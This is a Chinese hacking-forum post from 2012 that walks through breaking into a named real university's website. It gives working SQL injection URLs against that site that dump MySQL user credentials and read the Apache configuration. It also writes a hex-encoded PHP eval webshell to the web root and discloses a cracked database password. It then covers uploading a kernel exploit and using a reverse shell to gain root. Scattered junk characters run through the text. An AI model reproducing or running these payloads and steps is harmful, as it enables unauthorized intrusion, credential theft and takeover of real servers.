找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2655|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析! A1 @. ^. E1 Q% u1 g0 v
) s, v  o" u+ {% U# {6 A
http://www.doshisha.ac.jp/chs/news/index.php?i=-1" c: V# U& N# K1 W* J( O0 i3 e
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
; w) M& d% o( n* F! \  }1 Z
- Z. F, S  @  z$ v) g# b& \http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
+ O4 X, L, }$ L2 r# g- z* Z8 p/ J* O% i7 U  e5 i  Y( ^$ V

4 |' V6 |& ^1 m9 V" B' ~  f: W2 \6 J* ~- _. v5 Y1 ?# e$ R
//@@datadir为数据库文件路径
9 b8 k  z: j, e 9 @3 ]! Z" o  q9 s/ Z+ _

- r1 A5 E6 h! X/ A0 r2 O//load_file读取网站容器apache的配置文件
5 z: F$ }6 K0 d
- h5 l/ x# `: n* g6 s
; H/ ^0 C# s! _//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 % [# F$ B+ G( }8 a" `
复制代码
/ [) b6 F8 g9 s6 `( J% z6 G9 |* a9 [+ A" [. a' E, c9 o! n+ M0 F
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。( P: U, u  {; k# h
6 r$ N& u& w% M( t
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
" Q; [% w- \7 s/ h+ q(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)& ]2 }  h- v' y) C" H) x; I

- ?. y( D7 O5 J7 p2 A. }8 j前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。* W- a# G' s. y2 V+ ^  I% V, {( E! X( i
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html9 j+ `2 f, i7 L2 c2 A* A
6 p) ~. [; m, j8 O; i9 J, m
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/% r0 I7 r# \$ L/ \2 u
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。1 U, c$ {- t& a& s4 f  G) W
直接写一句话:$ D: Q- f, P; g! x# J% D
, l% i5 Y  ~. x" i- w. `3 N
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#* D/ W& U- S6 t! a
9 W# \' O+ R$ o* ?2 c0 I
& c' n  A; ], L% L6 m5 Y3 o. L; v
. c6 y1 K+ c- b/ T4 [( q
//最后的#是为了闭合前面的语句 ! U* F1 `4 o2 [# c8 |

+ `1 `7 l% q( E% e* A9 u; S( y# @
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E ; d# E( c& u: N3 Q; Q: Z

0 U& w0 ]. P0 y9 |
. r1 A! q+ ?6 d0 i: _5 s& Q为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
- |4 {; n7 h* L2 |$ l) u
" r' b9 ~$ k  O/ V3 I- I3 W
- y+ q. K1 H% u6 Y2 g, N. U//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 6 x) L& T) d* g6 c! h, \' L) c
/ [( L3 X+ d1 O7 m) {

: ]- S5 J2 G, Z( g* ~$ `//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
6 G% b0 R: Q6 E' q//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
8 M& e& [# u0 o, P复制代码
( r% a7 a. ^3 {$ c3 o* _% G# I" y# ]( Z7 M0 ?
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有# f4 {& g. I+ S. K+ a0 L5 Y$ [4 T& @
通过上述注入语句,我们就得到了一句话木马:/ u) E0 N5 I; O7 f0 U, r

+ C( m2 ]. H6 v9 l! p
, |1 I6 a+ ^& S- n) K0 A+ r* b& w
8 P2 Q) u$ w, Z; K ( d/ T/ a0 t) ]5 B7 S' `7 U

4 M1 j, l  h" t4 r( lhttp://www.doshisha.ac.jp/english/engnews_img/aa.php , K3 G4 x7 ^/ D5 R
复制代码7 a; M+ q# Y6 N( ~5 m$ c' U

* V6 F+ Q) m4 L0 n4 o用菜刀连接,密码是cmd,如图所示:
# o7 F1 g% x- }$ y然后在命令提示行里看了一下,现在的权限是:# f! Z  m; x8 L& u1 }" p/ [) t

, b6 q6 f1 {! T: w8 n6 ^5 E' X之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。& O. v8 z$ P. y1 g& q3 M6 p0 @
好在赋权给这个文件夹不需要root,直接执行赋权语句:: p6 y) ?8 h# a; a2 p& Z# d% ?) u

2 x, r1 A+ D' H0 r
* s" r& r* B9 j9 O, j5 N1 ?
- |9 \6 |4 e0 {' ?/ T, h& v4 e # Z9 q" ^0 e1 w4 b  w+ T

7 S7 ^" ?9 U6 E$ z( bchmod +x /tmp/
& f' j6 W+ k! J: ^) _' V& M& l$ e! N复制代码
# u/ C" a/ u1 g2 h' k# g! Y# g( U3 ?( {& [* D$ R
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行, x8 z) ]. C5 N3 m9 B) h4 q+ Z0 {
然后就查了一下内核版本:
+ v/ y7 Z# i3 r: g
( G! W+ _: x) n3 D, k . O$ |. H1 J% G- w) z4 s! B( L

9 t6 W2 h9 L+ T1 h- x
' E& S- X# A: m1 c
* _% Q8 ]9 B: ^: w7 {% @uname-a
4 @+ i' d- s$ Y' x9 ^% O   ?: L# u; w4 q  p2 B* z

! {% J8 r+ o( I7 r4 u//其实lsb_release -a ) e# z6 T0 @! f- k8 B' l- O5 E3 A
复制代码
5 N. e' z- q, E  K; k$ ^/ q. ^
3 _$ i5 y7 r4 F5 H- r0 n5 D/ k4 c如图所示:7 @4 B% j3 b/ C$ w( D  F6 _
4 ^1 ?! }& f0 g2 P0 D% x
内核版本:linux mainz1 2.6.28-194.e15
; e. y$ P9 j& Y系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
4 A- z+ a% u$ q4 J6 Z查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
" F" c) {1 ~) N4 [9 H5 [5 o4 s6 \9 z+ N! P" Z( h% `; a
然后给予执行权限2 ?- G- y3 |5 t0 e$ v
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
3 n+ V, s1 S% J3 u  Y. X1 B3 ?7 s5 ?6 V1 a7 N0 Q/ t! x* x
  I" E) c' @( `  n/ @" E& Y' ~

$ |$ c6 T# l4 \& L1 [
0 D- e' z3 r) x/ Z
& o1 F% i! }- y" s' Ochmod +x /tmp/2.6.18-194
9 r7 \3 s$ ~; c& Q$ k6 g  O6 A, D复制代码 然后直接执行!~) y. J( Y* M/ ], J
& a: y3 c% c3 s, G( r. a! b$ h
总结:
' u4 l! L" Z; V这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
1 a7 Z/ k& U2 K; u提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
2 E$ {  G# \. }6 z5 Q$ G# a8 _0 b& g
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表